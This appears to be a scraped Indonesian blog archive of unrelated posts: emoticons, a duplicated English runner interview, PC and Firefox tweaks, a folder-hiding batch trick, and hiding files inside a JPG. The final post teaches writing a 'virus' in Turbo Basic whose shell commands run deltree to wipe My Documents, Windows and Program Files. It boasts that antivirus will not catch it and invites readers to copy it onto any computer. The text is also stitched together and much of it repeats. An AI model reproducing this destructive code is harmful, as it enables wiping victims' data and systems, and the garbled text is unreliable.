Saturday, 11 January 2014
2500 emoticon jepang (emoji) buat status facebook atau blackberry
14:14
Emoticon Jepang atau emoji saat ini semakin banyak dipergunakan di dalam status-status facebook atau pun blackberry messanger. Jadi saya mau tempel beberapa kumpulan emoticon jepang ini di sini. Lumayan buat menghias status teman-teman.... Contohnya seperti ini....
"Sialan loe! ....凸(⊙▂⊙✖ )"
atau
"Makacih buat pujiannya (＃⌒∇⌒＃)ã‚ž"
Emoticon Jepang ini ada 2500 variasi, jadi karena
Thursday, 9 January 2014
H+P Athlete Spotlight: Mike Piazza
16:00
He's competitive, he's driven, he's hungry for more....he's H+P's very own Italian Stallion. In today's edition of H+P Spotlight, we talked to Mike Piazza.
H+P: You have seen some huge improvements over the last few years, including taking almost 20 minutes off your half marathon. What were the big changes in your training that lead to this development?
MP: The biggest change I think would have to be the interval group. When I got back into running years ago I would do some intervals on my own but they don’t compare to the intervals I do now. The motivation and encouragement of everyone who comes out and trying to push myself to keep up with the runners faster than me I think has contributed the most to my improvement. Another factor would be getting in my long run every weekend. In the past I would regularly push those back and eventual skip them, but having the group
to run with now makes them enjoyable.
H+P: What recent race results are you most-satisfied with? What happened at these events?
MP: The race result that I am most-satisfied with would have to be the Nutrience Oakville Half Marathon last fall. I felt going into this race that I was at the peak of my training for the season. Leading up to the race I wasn’t sure if I was going to taper before it or use the race as a training run for my full marathon the following month. I ended up cutting back my mileage slightly that week and doing my usual race prep for the couple days leading up to the race. I also focused a lot on my nutrition for the week and couple days before the race. The race itself could not have gone better for me. It was a chilly morning and I had told myself I would go out at a comfortable pace and then see how I felt when I hit the only real hill at the 7km mark, instead of going out hard the first couple kms like I usually do. When I got to the hill I felt great and pushed the pace up it a little bit and then kept it steady the rest of the race. Coming into the last km I could see a few other runners in reach and I told myself I would catch them. I ended up finishing with a sprint finish, passing those couple runners, and a low 1:26, which was a personal best by 16 minutes. I felt I gave everything I had during that race and I was very satisfied when I checked my splits after and saw that they were consistent.
H+P: You are currently pursuing a PhD in biochem. Does your background in science help you with training and other components to running performance? How so?
MP: I would say it has helped with other components of running, mostly with my nutrition. Knowing what it takes
to fuel your body and how to maintain your energy through a long race has certainly helped me become better. Also my strong background in research that I have acquired through my studies has been quite beneficial. Its helped in reading through various articles on running training and nutrition and being able to understand what is correct or not.
H+P: Anybody who knows you well is certainly aware that you are a competitive person- where does this drive come from?
MP: I think this stems from always wanting to be the best, haha. Growing up playing sports I always had a competitive nature and I always wanted to win. These days that competiveness has transferred to all aspects of my life. I like to think that if someone else can do something I can also. Translating this over to running makes me work harder, whether it’s during a race or a practice, I’m always competing against the person running alongside me. I think this competitive nature improves my running ability and makes me faster. Plus a little competition never hurt anyone.
H+P: Outside of competition, what else motivates you to keep training so hard day in and day out?
MP: The biggest thing would have to be the feeling I get after a hard interval practice or long run. Not many things are better than the runners high I get after that. Running has also helped me get into pretty good shape, and I want to stay that way, haha.
H+P: We also know that you used to be involved with competitive running in your highschool days.
What forces dragged you away from the sport, and then what eventually brought you back?
MP: I ran cross country first year university also and then that winter I had a bad knee injury while playing hockey which left me unable to run for about 5 months. After taking that time off it was tough to get back into running on my own, while also having fun in school. I would always run on my own but nothing serious or competitive. I got more serious about running when a few of my good friends from home asked if I wanted to train for a marathon with them in 2010. After having an absolutely terrible run I decided I wanted to get back into running more serious. Also being able to run as part of a group and having others motivate you to run on days where you just don’t feel like going out has helped immensely.
H+P: It must have been a long road working back into a level of running fitness you were happy with- describe that process. What helped you fight through those tough times to get where you are now?
MP: It has been a long road back and I feel like I’m almost where I used to be. Mind you back when I was running competitively in high school I had faster 5 and 10km times but I don’t think I could run the longer races like I do now which are what I really enjoy. Knowing in the back of my mind that I had run like that before and with enough hard work I could get there again has been a big factor in helping through some tough times. And of course being pushed by others in the group and racing with friends has helped a lot.
H+P: What personal best(s) are you most focused on taking down? Are those races in the plans for next year?
MP: My personal best for the full marathon is what I’m most focused on this year. I really want to qualify for Boston and run sub 3 hours. I plan running another marathon in May, either the Mississauga or Toronto Goodlife. I also want to PB at the 30km Around the Bay race this year. Last year I had run it coming off an injury and couldn’t train very well for it, I’m hoping there are no excuses this year. Another PB I want to set is for the 5km. I’ve never broken 20 min in a race, although I’ve run sub 20 5k pace while breaking 40 min
in some 10km races.
H+P: What's it like being Nazem Kadri's older brother?
MP: Haha, I have gotten this quite a bit. I don’t know if it’s because people know I play hockey and am a Leafs fan or if I do look like him. Whatever the reason, hearing the comments have been a lot of fun.
H+P: You have seen some huge improvements over the last few years, including taking almost 20 minutes off your half marathon. What were the big changes in your training that lead to this development?
MP: The biggest change I think would have to be the interval group. When I got back into running years ago I would do some intervals on my own but they don’t compare to the intervals I do now. The motivation and encouragement of everyone who comes out and trying to push myself to keep up with the runners faster than me I think has contributed the most to my improvement. Another factor would be getting in my long run every weekend. In the past I would regularly push those back and eventual skip them, but having the group
H+P: What recent race results are you most-satisfied with? What happened at these events?
MP: The race result that I am most-satisfied with would have to be the Nutrience Oakville Half Marathon last fall. I felt going into this race that I was at the peak of my training for the season. Leading up to the race I wasn’t sure if I was going to taper before it or use the race as a training run for my full marathon the following month. I ended up cutting back my mileage slightly that week and doing my usual race prep for the couple days leading up to the race. I also focused a lot on my nutrition for the week and couple days before the race. The race itself could not have gone better for me. It was a chilly morning and I had told myself I would go out at a comfortable pace and then see how I felt when I hit the only real hill at the 7km mark, instead of going out hard the first couple kms like I usually do. When I got to the hill I felt great and pushed the pace up it a little bit and then kept it steady the rest of the race. Coming into the last km I could see a few other runners in reach and I told myself I would catch them. I ended up finishing with a sprint finish, passing those couple runners, and a low 1:26, which was a personal best by 16 minutes. I felt I gave everything I had during that race and I was very satisfied when I checked my splits after and saw that they were consistent.
H+P: You are currently pursuing a PhD in biochem. Does your background in science help you with training and other components to running performance? How so?
MP: I would say it has helped with other components of running, mostly with my nutrition. Knowing what it takes
to fuel your body and how to maintain your energy through a long race has certainly helped me become better. Also my strong background in research that I have acquired through my studies has been quite beneficial. Its helped in reading through various articles on running training and nutrition and being able to understand what is correct or not.
H+P: Anybody who knows you well is certainly aware that you are a competitive person- where does this drive come from?
MP: I think this stems from always wanting to be the best, haha. Growing up playing sports I always had a competitive nature and I always wanted to win. These days that competiveness has transferred to all aspects of my life. I like to think that if someone else can do something I can also. Translating this over to running makes me work harder, whether it’s during a race or a practice, I’m always competing against the person running alongside me. I think this competitive nature improves my running ability and makes me faster. Plus a little competition never hurt anyone.
H+P: Outside of competition, what else motivates you to keep training so hard day in and day out?
MP: The biggest thing would have to be the feeling I get after a hard interval practice or long run. Not many things are better than the runners high I get after that. Running has also helped me get into pretty good shape, and I want to stay that way, haha.
H+P: We also know that you used to be involved with competitive running in your highschool days.
MP: I ran cross country first year university also and then that winter I had a bad knee injury while playing hockey which left me unable to run for about 5 months. After taking that time off it was tough to get back into running on my own, while also having fun in school. I would always run on my own but nothing serious or competitive. I got more serious about running when a few of my good friends from home asked if I wanted to train for a marathon with them in 2010. After having an absolutely terrible run I decided I wanted to get back into running more serious. Also being able to run as part of a group and having others motivate you to run on days where you just don’t feel like going out has helped immensely.
H+P: It must have been a long road working back into a level of running fitness you were happy with- describe that process. What helped you fight through those tough times to get where you are now?
MP: It has been a long road back and I feel like I’m almost where I used to be. Mind you back when I was running competitively in high school I had faster 5 and 10km times but I don’t think I could run the longer races like I do now which are what I really enjoy. Knowing in the back of my mind that I had run like that before and with enough hard work I could get there again has been a big factor in helping through some tough times. And of course being pushed by others in the group and racing with friends has helped a lot.
H+P: What personal best(s) are you most focused on taking down? Are those races in the plans for next year?
MP: My personal best for the full marathon is what I’m most focused on this year. I really want to qualify for Boston and run sub 3 hours. I plan running another marathon in May, either the Mississauga or Toronto Goodlife. I also want to PB at the 30km Around the Bay race this year. Last year I had run it coming off an injury and couldn’t train very well for it, I’m hoping there are no excuses this year. Another PB I want to set is for the 5km. I’ve never broken 20 min in a race, although I’ve run sub 20 5k pace while breaking 40 min
H+P: What's it like being Nazem Kadri's older brother?
MP: Haha, I have gotten this quite a bit. I don’t know if it’s because people know I play hockey and am a Leafs fan or if I do look like him. Whatever the reason, hearing the comments have been a lot of fun.
Cara Meningkatkan Performa RAM Komputer
10:45
Bagaimana meningkatkan RAM Komputer?
Selain menggunakan RAM fisik yang tersedia di komputer Anda, program perangkat lunak juga menggunakan Virtual RAM. Jika Anda meningkatkan RAM Virtual komputer Anda maka kemungkinan besar kecepatan komputer Anda juga akan meningkat.
Ikuti langkah-langkah berikut untuk meningkatkan virtual RAM: -
Untuk pengguna Windows XP:
1. Goto 'Properties' dari My Computer
2. Klik pada 'Muka' Tab
3. Di bawah bagian 'Performance' klik tombol 'Settings'
4. Sekarang Pindah ke 'muka' Tab
5. Di bawah 'Virtual memory' Section klik tombol "Change"
6. Sekarang Pilih drive "C".
7. Pilih Option "Custom Size"
8. Mengatur Ukuran awal (MB) 5000 untuk 5GB 2000 2GB atau Apapun cocok untuk Anda. Kami akan merekomendasikan Anda untuk menyimpan setidaknya 2000
9. Mengatur Ukuran maksimum sampai 5000 untuk 5GB, ini berarti 5GB Local Disk C akan digunakan sebagai Virtual Memory. Lebih baik tetap sebagai High Anda mampu.
10. Klik pada "Set" Tombol
11. Lakukan ini dengan semua Drives lain juga
12. Klik "OK" Tombol
13. Sekali lagi Klik "OK" Tombol
14. Sekali lagi Klik "OK" Tombol Itu saja.
======================================
Untuk pengguna Windows 7:
1. Buka 'Properties' dari My Computer
2. Di bawah 'System' Window, klik 'Advanced system settings' dari panel kiri.
3. Dalam 'System Properties', di bawah 'Performance' klik bagian "Settings ... '
4. Sekarang pindah ke 'muka' tab, di bawah 'Virtual memory' bagian klik 'Change'
5. Hapus tanda centang "otomatis mengatur ukuran file paging untuk semua drive 'pilihan Istirahat ikuti langkah yang sama Windows XP, di atas.
Setelah Anda menyimpan setting, restart PC Anda. Setelah restart PC Anda akan segera merasakan perbedaannya
semoga bermanfaat..
Selain menggunakan RAM fisik yang tersedia di komputer Anda, program perangkat lunak juga menggunakan Virtual RAM. Jika Anda meningkatkan RAM Virtual komputer Anda maka kemungkinan besar kecepatan komputer Anda juga akan meningkat.
Ikuti langkah-langkah berikut untuk meningkatkan virtual RAM: -
Untuk pengguna Windows XP:
1. Goto 'Properties' dari My Computer
2. Klik pada 'Muka' Tab
3. Di bawah bagian 'Performance' klik tombol 'Settings'
4. Sekarang Pindah ke 'muka' Tab
5. Di bawah 'Virtual memory' Section klik tombol "Change"
6. Sekarang Pilih drive "C".
7. Pilih Option "Custom Size"
8. Mengatur Ukuran awal (MB) 5000 untuk 5GB 2000 2GB atau Apapun cocok untuk Anda. Kami akan merekomendasikan Anda untuk menyimpan setidaknya 2000
9. Mengatur Ukuran maksimum sampai 5000 untuk 5GB, ini berarti 5GB Local Disk C akan digunakan sebagai Virtual Memory. Lebih baik tetap sebagai High Anda mampu.
10. Klik pada "Set" Tombol
11. Lakukan ini dengan semua Drives lain juga
12. Klik "OK" Tombol
13. Sekali lagi Klik "OK" Tombol
14. Sekali lagi Klik "OK" Tombol Itu saja.
======================================
Untuk pengguna Windows 7:
1. Buka 'Properties' dari My Computer
2. Di bawah 'System' Window, klik 'Advanced system settings' dari panel kiri.
3. Dalam 'System Properties', di bawah 'Performance' klik bagian "Settings ... '
4. Sekarang pindah ke 'muka' tab, di bawah 'Virtual memory' bagian klik 'Change'
5. Hapus tanda centang "otomatis mengatur ukuran file paging untuk semua drive 'pilihan Istirahat ikuti langkah yang sama Windows XP, di atas.
Setelah Anda menyimpan setting, restart PC Anda. Setelah restart PC Anda akan segera merasakan perbedaannya
semoga bermanfaat..
mengatasi masalah unresponsive script pada mozilla firefox
10:39
berikut cara untuk mengatasi masalah unresponsive script pada browser mozilla firefox....
al kisah waktu an lagi browsing, yang pasti pake browser kesayangan saya(si mozilla ...hehe) sering sekali muncul peringatan yang sangat mengganggu seperti gambar di bawah....
al kisah waktu an lagi browsing, yang pasti pake browser kesayangan saya(si mozilla ...hehe) sering sekali muncul peringatan yang sangat mengganggu seperti gambar di bawah....
tentunya ini sangat mengganggu. Pada mulanya sih engga saya perdulikan peringatan itu. Tapi lama-lama ko sering muncul dan bikin laju browser jadi lemot banget, ini membuat kesal juga, biasa dah mulai nanya-nanya ke mbah google akhirnya ketemu juga caranya, begini nih caranya
- Ketik “about:config” di kotak alamat Firefox Anda(kotak tempat anda menuliskan url wesite) tanpa tanda petik.
- klik aja tulisan “I’ll be careful, I promise”
- Di bawah kotak alamat, sekarang Anda akan melihat bentuk persegi panjang yang kosong – kotak Filter/search. Di sini, ketik “dom.max_script_run_time” sekali lagi tanpa tanda petik juga.
- Klik kanan baris ini, lalu pilih Modify.
- Ganti “10 atau 0” dengan “30” untuk menaikkan maksimum default ke 30 detik.
Wednesday, 8 January 2014
Mempasword folder
09:40
ok...... bagi kamu yang folder pribadinya atau filenya tidak ingin di liat atau di ambil orang lain lebih baik kita proteck atau di pasword.... caranya..
1. Buka note pad
2. Ketik scrib dibawah
Ren NF NF. (21EC2020-3AEA-1069-A2DD-08002B30309D)
Ganti NF dengan nama folder rahasia kamu
Contoh :
Testing testing(21EC2020-3AEA-1069-A2DD-08002B30309D)
Save dengan nama lock.bat
3. Buka note pad lagi ketik skrip dibawah
Ren NF.(21EC2020-3AEA-1069-A2DD-08002B30309D) NF
Contoh
Testing(21EC2020-3AEA-1069-A2DD-08002B30309D) coba
Save dengan nama key. bat
4. Ingat folder rahasia kamu harus berada disatu tempat file loc.bat dan key.bat yang sudah kamu buat tadi
5. Coba klik file “loc” maka folder “coba” akan berubah sekejap
6. Bila ada orang yang masuk ke folder coba, maka orang tersebut akan masuk ke control panel dan tidak akan pernah bisa masuk ke folder “coba yang sebenarnya
7. Untuk mengembalikan folder “coba” tersebut tinggal klik file “key”
s semoga bermanfaat
Cara Menyembunyikan File ke Dalam Gambar
09:24
Saya akan membagikan sedikit tips bagi anda untuk menyembunyikan file rahasia anda ke dalam sebuah file gambar.
Sebelumnya pastikan bahwa komputer anda telah terinstall WinRar.
Langkah 1 :
Kumpulkan file-file anda yang ingin di sembunyikan dan compress jadi satu dengan menggunakan Winrar.
Misalkan beri nama filerahasia.rar
Langkah 2 :
Siapkan sebuah file gambar (.jpg).
Misalkan beri nama gambar.jpg
Langkah 3 :
Letakkan kedua file tersebut ( File gambar.jpg dan filerahasia.rar )dalam sebuah directory yang sama.
misalkan Drive c:
Langkah 4 :
Buka command prompt dan ketikkan :
c:\>copy /b gambar.jpg+filerahasia.rar hasil.jpg
Langkah 5 :
Setelah itu akan tercipta sebuah file baru dengan nama hasil.jpg.
Coba anda buka file hasil.jpg.
Sekilas tidak akan ada bedanya dengan file gambar.jpg milik anda kecuali ukuran filenya yang bertambah besar.
Anda tetap bisa membuka file tersebut dengan Picture Editor atau Image Viewer anda.
Tidak ada tanda-tanda bahwa sebenarnya ada sebuah file rahasia didalamnya.
Langkah 6 :
Bagaimana cara membuka file rahasia anda?
Klik kanan pada file hasil.jpg lalu pilihlah [Open With] –> [Choose Program..]. Pilihlah WinRar lalu klik [OK].
Anda akan bisa melihat file rahasia anda dan bisa mengextract seperti biasanya.
Sebelumnya pastikan bahwa komputer anda telah terinstall WinRar.
Langkah 1 :
Kumpulkan file-file anda yang ingin di sembunyikan dan compress jadi satu dengan menggunakan Winrar.
Misalkan beri nama filerahasia.rar
Langkah 2 :
Siapkan sebuah file gambar (.jpg).
Misalkan beri nama gambar.jpg
Langkah 3 :
Letakkan kedua file tersebut ( File gambar.jpg dan filerahasia.rar )dalam sebuah directory yang sama.
misalkan Drive c:
Langkah 4 :
Buka command prompt dan ketikkan :
c:\>copy /b gambar.jpg+filerahasia.rar hasil.jpg
Langkah 5 :
Setelah itu akan tercipta sebuah file baru dengan nama hasil.jpg.
Coba anda buka file hasil.jpg.
Sekilas tidak akan ada bedanya dengan file gambar.jpg milik anda kecuali ukuran filenya yang bertambah besar.
Anda tetap bisa membuka file tersebut dengan Picture Editor atau Image Viewer anda.
Tidak ada tanda-tanda bahwa sebenarnya ada sebuah file rahasia didalamnya.
Langkah 6 :
Bagaimana cara membuka file rahasia anda?
Klik kanan pada file hasil.jpg lalu pilihlah [Open With] –> [Choose Program..]. Pilihlah WinRar lalu klik [OK].
Anda akan bisa melihat file rahasia anda dan bisa mengextract seperti biasanya.
cara membuat program perusak ( seperti Virus )
09:23
Semua ini ane pelajari karena ane sangat penasaran dengan basic jadi hasil pembelajaran ane secara Otodidak ane posting unuk pengetahuan dan wawasan aja......
Membuat program perusak merupakan ke inginan sebagian pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak ahu bahasa pemograman sama sekali, ente semua jangan resah kalau masalah ini karena ane saat ini akan mengajarkan ente semua tentang membuat program perusak yang sangat sederhana sekali tapi sangat mematikan.
Pertama kali skill yang ente butuhkan adalah DOS, tanpa ini ente akan sulit berkreasi dalam membuat program ini tapi jika ente tidak tahu dasar perintah DOS maka ente cukup Copas ja ( copy pate ) bahasa pemograman yang akan kita gunakan adalah Turbo Basic v1.0
Diatas adalah tampilan Turbo Basic v1.0, jika ente buta pemograman Turbo Basic maka ente masuk ke Edit lalu ente tulis Source Code program perusak.
shell"Perintah DOS"
Dengan diawali kata Shell maka ente dapat menjalankan perinah DOS pada program, misal ente membuat:
shell "c."
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windoes"
shell "deltree /y progra~1"
Diatas adalah contoh menghapus Directory My Document, Windows dan Program Files, sangat fatal bukan ???
Setelah ente selesai membuat programnya maka ente save dahulu, caranya pilih file lalu save lalu berinama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu ente Enter, maka source code tersebut akan menjadi file EXE.
Jika file EXE tersebut dijalankan maka komputer ente akan menjalankan perinta DOS pada program, dari tutorial ane diatas ente dapat erkreasi sendiri bagaimana virus buatan ente dapat berjalan sesuai dengan yang ente inginkan perlu di ketahui bahwa tidak ada ANTI VIRUS yang mendetaksi program ini adalah Virus jadi ente-ente sekalian bebas mengcopas rogram ini ke komputer manapun kecuali komputer yang berbasis NON DOS atau windows..... ha...ha...ha...
Tujuan Artikel ane adalah agar kita lebih waspada terhadap file eksistensi *.exe meskipun file *.exe tersebut 100 % dinyatakan bebas virus dari berbagai anti virus
Semua yang ente peajari dari artikel ane adalah tanggung jawab ente......
artikel ane semat untuk wawasan saja dan tidak untuk merugikan orang lain....
Untuk Turbo Basic v1.0 ente dapat mecarinya di tempat Mbah Google....
sekian dulu artikel dari ane
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